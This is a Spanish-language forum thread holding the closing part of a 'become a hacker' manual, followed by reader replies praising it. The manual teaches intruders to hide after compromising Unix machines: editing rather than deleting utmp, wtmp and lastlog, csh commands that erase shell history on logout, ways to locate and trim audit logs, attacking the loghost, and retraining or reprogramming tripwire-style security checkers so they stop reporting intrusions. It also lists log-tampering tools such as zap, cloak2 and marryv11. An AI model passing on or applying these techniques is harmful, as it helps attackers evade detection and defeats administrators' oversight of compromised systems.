Existen otros, pero esos seran discutidos en la seccion avanzada. Todos los logins via telnet, ftp, rlogin y en algunos otros sistemas rsh son escritos a estos logs. Es MUY importante que te borres de estos archivos si estas hackeando por que de otra manera:

a) pueden ver desde donde hiciste el hacking

b) desde que host llegaste

c) sabran cuanto tiempo estuviste en linea y calcularan el impacto

­NUNCA BORRES LOS LOGS! Es la forma mas facil de mostrar a el administrador que un hacker estuvo en la maquina. Obten un buen programa para modificarlos.

ZAP -RareGaZz #3- (o ZAP2) es mencionado como el mejor - pero no lo es. Lo unico que hace es sobre escribir la informacion de la ultima persona que entro con ceros. CERT ya saco un simple programa que checa por esos ceros en los logs asi que esa es una forma facil de revelar la presencia de un hacker tambien. De nada sirve hackear R00T si cuando se de cuenta el admin todo tu trabajo no servira de nada!

Otra cosa importante de ZAP es que no funciona si no encuentra los archivos con los registros; asi que ­checa los paths antes de compilar!

Obten un programa que CAMBIE la informacion (CLOAK2) o uno bueno que BORRE la entrada (CLEAR).

Normalmente uno debe ser r00t para modificar los registros. Pero si no lograste hackear el r00t ¨que puedes hacer? No mucho:

Has un rlogin a la computadora en la que estes, para añadir un nuevo y no sospechoso LASTLOG que sera mostrado al administrador cuando entre la proxima vez.

Asi el no se pondra nervioso cuando vea "localhost".

Muchas distribuciones de UNIX tienen un Bug con el comando Login. Cuando lo ejecutas sobre escribe el campo login en UTMP (­El que muestra el host de donde vienes!) con tu tty. Los registros por default estan localizados en estos directorios:

UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

LASTLOG : /usr/var/adm o /usr/adm o /var/adm o /var/log

* NO DEJES HUELLA *

Varios hackers se borran de los logs pero se olvidan de borrar otras cosas como archivos en /tmp y $HOME

Shells

Algunas shells dejan un archivo de registro(dependiendo de la configuracion) con todos los comandos que el usuario usa. Eso es muy malo para un hacker.

La mejor alternativa es empezar un nuevo shell como tu primer comando despues de entrar y checar cada vez por un archivo de historia en tu $HOME.

Archivos de historia de comandos:

Shell - Archivo

sh : .sh_history

csh : .history <--- Cincos, Telnor, Microsol, Compunet, orca.etc..

ksh : .sh_history

bash: .bash_history

zsh : .history

En otras palabras: ejecuta "ls -altr" antes de irte!

Aqui hay 4 comandos csh que borraran el archivo .history cuando salgas del sistema para no dejar huella.

mv .logout save.1

echo rm .history>.logout

echo rm .logout>>.logout

echo mv save.1 .logout>>.logout

--------------------------------------------------------------------------------

Es importante que encuentres todos los archivos de registro - hasta los escondidos. Para encontrar todos los tipos de registros existen dos faciles posibilidades.

1) Encuentra todos los archivos abiertos.

Como todos los archivos de registro deben ser escritos en algun lado, obten el programa

LSOF - LiSt Open Files - para verlos ... checalos ...

y si es necesario corrigelos.

2) Busca todos los archivos modificados despues de que entraste. Despues de que entres a un sistema usa el comando

"touch /tmp/check" despues trabaja.

Luego usa el comando "find / -newer /tmp/check -print" y revisa si alguno de esos archivos son de auditoria. observa>revisa>corrige.

Nota que no todos los sistemas y versiones soportan la opcion -newer

Tu tambien puedes hacer un

"find / -ctime 0 -print" o

"find / -cmin 0 -print" para encontrar los registros.

Revisa todos los registros que encuentres. Normalmente los registros estaran en

/usr/adm, /var/adm o /var/log.

Si cosas se registran a @loghost entonces estas en problemas. Tu necesitas hackear la maquina loghost para modificar los logs.

Para manipular los logs puedes hacer "grep -v", o un conteo de lineas con wc, y luego cortar las 10 ultimas con "head -LineNumbersMinus10" o usar

un editor etc.

Si los archivos de registro/auditoria no son archivos de texto sino de datos identifica el software que escribe los registros. Despues consigue el codigo

fuente. Despues encuentra el encabezado que defina la estructura del archivo.

Obten zap, clear, cloak etc. y re-programa los codigos con los encabezados del archivo a usar con este tipo especial de archivos de registro (y despues

pasalo a la comunidad del hacking).

Si un programa de auditoria esta instalado necesitaras el acct-cleaner de zhart, funciona muy bien!

Un pequeño truco para modificar wtmp es necesario si no puedes compilar ningun codigo fuente, perl, etc. Funciona en sistemas Sun pero no en Linux:

Has uuencode de wtmp. Ejecuta vi, ve al final del archivo y borra las ultimas 4 lineas que comienzen con "M" ... despues salvalo y sal., uudecode y las ultimas 5 entradas al wtmp estaran borradas ;-)

Si el sistema usa wtmpx y utmpx entonces estas en problemas ... Hasta ahora no conozco ningun programa que pueda modificarlos.

--------------------------------------------------------------------------------

* Revisa los programas de seguridad instalados *

En los sitios conscientes de seguridad, existen algunos chequeadores de seguridad que son ejecutados por cron. El directorio normal para los crontabs son
/var/spool/cron/contabs

Revisa todas las entradas, especialmente las de el archivo "root" y examina los archivos que ejecuta. Para una investigacion rapida de los crontabs del root escribe
"crontab -l root".

Algunas de estas herramientas de seguridad son instaladas por las cuentas administrativas. Algunas de ellas (pequeñas utilidades para revisar wtmp, y si un sniffer esta instalado) estan en ~/bin.

Lee abajo para identificar estos admins y revisar sus directorios.

El software de chequeo interno puede ser tiger, cops, spi, tripwire, l5, binaudit, hobgoblin, s3 etc.

Debes examinar lo que reportan y si ellos reportan algo eso seria un signo de alerta de tus hacks.

Si ese software reporta acciones sospechosas puedes:

- Actualizar los archivos de datos del programa (modo aprendizaje) para que no reporte ese tipo de ataques.

- Reprogramar/modificar el software para que no reporten las acciones sospechosas.

--------------------------------------------------------------------------------

Esta es una pequeña lista de los programas que deberas obtener y usar.

No preguntes donde puedes conseguirlos, necesitas encontrarlos.

Primero un pequeño Glosario:

Cambiar - Cambiar campos del archivo de registro por lo que quieras.

Borrar - Elimina las entradas que desees.

Editar - Un editor para el archivo de registro.

Sobre-Escribir - Sobre-escribe las entradas con valores de zero bytes.

Modificadores de Registro:

ah-1_0b.tar Cambia las entradas de los programas de auditoria.

clear.c Borra las entradas en utmp, wtmp, lastlog y wtmpx

cloak2.c Cambia las entradas en utmp, wtmp y lastlog

invisible.c Sobre-escribe utmp, wtmp y lastlog con valores predefinidos,

asi que es mejor que zap.

marryv11.c Edita utmp, wtmp, lastlog e informacion de auditoria -Mejor!

wzap.c Borra las entradas en wtmp

wtmped.c Borra las entradas en wtmp

zap.c Sobre-escribe utmp, wtmp, lastlog - Puede ser detectado!

Autor: Dancrack

Desconectado DuDux

  • Recien llegado
  • *
  • Mensajes: 21
  • Sexo: Masculino
Re: Manual ¿Como convertirse en Hacker? [EN CONSTRUCCION]
« Respuesta #38 : 26/06/2010, 02:50:13 am »
excelente aporte soy nuevo y eso me sirve de mucho para poder empezar gracias por el aporte 



Cuando uno desea olgo..El universo entero conspira para que se cumpla

Desconectado invaderzim

  • Leecher
  • *
  • Mensajes: 1
Re: Manual ¿Como convertirse en Hacker? [EN CONSTRUCCION]
« Respuesta #39 : 30/06/2010, 02:35:02 am »
Exelente aporte!!!! solo una pregunta e estado leyendo la desde el principo y no e encontrado los links de descarga para los libros!! no se me este fallando la vista o no los vi!! ??? ??? gracias!!

Desconectado DrFirewall

  • Recien llegado
  • *
  • Mensajes: 4
  • Sexo: Masculino
Re: Manual ¿Como convertirse en Hacker? [EN CONSTRUCCION]
« Respuesta #40 : 23/09/2010, 07:18:17 pm »
falta videos y que explice un poco mejor nada mas para no tener dudas

Desconectado ZeroMercy

  • Moderador Global
  • Usuario guru
  • *****
  • Mensajes: 2294
  • Sexo: Masculino
  • Hack & cracking is not a crime
    • InfiernoHacker
Re: Manual ¿Como convertirse en Hacker? [EN CONSTRUCCION]
« Respuesta #41 : 23/09/2010, 07:41:15 pm »
la verdadera gracia de este manual no es darles toda la informacion servida sino es introducirlos a todos los conocimientos y lo que es este mundo y ustedes sigan investigando,

salu2
Mas dura la batalla, mas dulce la victoria !!!

Desconectado Ma666ot

  • Uzer
  • ***
  • Mensajes: 208
Re: Manual ¿Como convertirse en Hacker? [EN CONSTRUCCION]
« Respuesta #42 : 09/01/2011, 01:41:24 pm »
Simplemente genial :)
_-Dos User-_

Desconectado sh3ll3y21

  • Recien llegado
  • *
  • Mensajes: 3
Re: Manual ¿Como convertirse en Hacker? [EN CONSTRUCCION]
« Respuesta #43 : 14/01/2011, 11:11:57 am »
Muchas gracias por tan buena informacion, sirve de base  para todos aquellos que deseamos iniciar en este  maravilloso mundo. Sin palabras y agradecida por tan excelente aporte.

Desconectado ★Seηтιηєl•ρяιмε★

  • Recien llegado
  • *
  • Mensajes: 12
  • Sexo: Masculino
  • Aburrido
Re: Manual ¿Como convertirse en Hacker? [EN CONSTRUCCION]
« Respuesta #44 : 09/03/2011, 01:07:44 am »
Muy Buena gia Me Tarde 3 Dias en Haerla y Lo logre ya toy Aprendiedo un poko mas de lo normal